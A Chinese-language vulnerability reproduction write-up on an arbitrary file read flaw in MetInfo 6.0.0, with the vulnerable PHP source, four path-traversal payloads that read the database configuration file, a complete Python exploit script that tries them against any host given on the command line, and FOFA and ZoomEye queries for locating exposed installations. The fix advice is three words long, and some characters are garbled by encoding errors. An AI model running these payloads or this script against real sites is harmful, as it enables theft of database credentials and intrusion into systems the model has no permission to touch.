1.1、漏洞描述
漏洞名稱:MetInfo任意文件讀取
漏洞簡(jiǎn)介:MetInfo是一套使用PHP和MySQL開發(fā)的內(nèi)容管理系統(tǒng),其中的/app/system/include/module/old_thumb.class.php
文件存在任意文件讀取漏洞,攻擊者可利用該漏洞讀取網(wǎng)站的敏感文件。
下載地址:歷史版本安裝文件下載 Ver_6.0.0
1.2、漏洞等級(jí)
高危
1.3、影響版本
影響版本:MetInfo 6.0.0
1.4、漏洞復(fù)現(xiàn)
代碼審計(jì)
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
$dir = str_replace(array(‘…/’,‘./’), ‘’, $_GET[‘dir’]);
dir變量接受來自$_GET[‘dir’]傳遞進(jìn)來的值,用了str_replace函數(shù)做替換,將../
,./
替換成空值
readfile($dir);
漏洞點(diǎn)
/include/thumb.php
使用bp進(jìn)行抓包
測(cè)試一:
/include/thumb.php?dir=..././http/..././config/config_db.php
測(cè)試二:
/include/thumb.php?dir=.....///http/.....///config/config_db.php
測(cè)試三:
/include/thumb.php?dir=http/.....///.....///config/config_db.php
測(cè)試四:
/include/thumb.php?dir=http\..\..\config\config_db.php
# 此POC 僅適用于Windows 系統(tǒng),Linux 下無效
# 只有windows以右斜杠作為文件路徑分隔符
1.5、深度利用
EXP編寫
import requests
import sys
banner = """
MetInfo 6.0.0
___________.__.__ __________ .___
\_ _____/|__| | ____ \______ \ ____ _____ __| _/
| __) | | | _/ __ \ | _// __ \\__ \ / __ |
| \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ |
\___ / |__|____/\___ > |____|_ /\___ >____ /\____ |
\/ \/ \/ \/ \/ \/
Usage: python3 *.py http://192.168.80.139/MetInfo6.0.0/
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}
dir_list = [
"..././http/..././config/config_db.php",
".....///http/.....///config/config_db.php",
"http/.....///.....///config/config_db.php",
"http\..\..\config\config_db.php"
]
def attack(host):
vul = "/include/thumb.php"
url = host + vul
res = requests.get(url = url, headers = headers)
if res.status_code != 200:
print(f"[INFO] {vul} is Not Exists!")
exit()
print(f"[INFO] {vul} is Exists!")
for param in dir_list:
params = {
"dir": param
}
res = requests.get(url = url, params = params, headers = headers)
print(f"[INFO] Test URL: {res.url}")
if "<?php" in res.text:
print("[RESULT] The target is vulnreable!")
print(f"[RESULT]\n{res.text}")
break
if len(sys.argv) < 2:
print(banner)
exit()
host = sys.argv[1]
attack(host = host)
1.6、漏洞挖掘
FOFA文章來源:http://www.zghlxwxcb.cn/news/detail-688732.html
app="metinfo"
ZoomEye文章來源地址http://www.zghlxwxcb.cn/news/detail-688732.html
app:"MetInfo"
app:"MetInfo"+os:"Windows"
1.7修復(fù)建議
- 升級(jí)
- 打補(bǔ)丁
- 上設(shè)備
到了這里,關(guān)于Metinfo6.0.0任意文件讀取【漏洞復(fù)現(xiàn)】的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!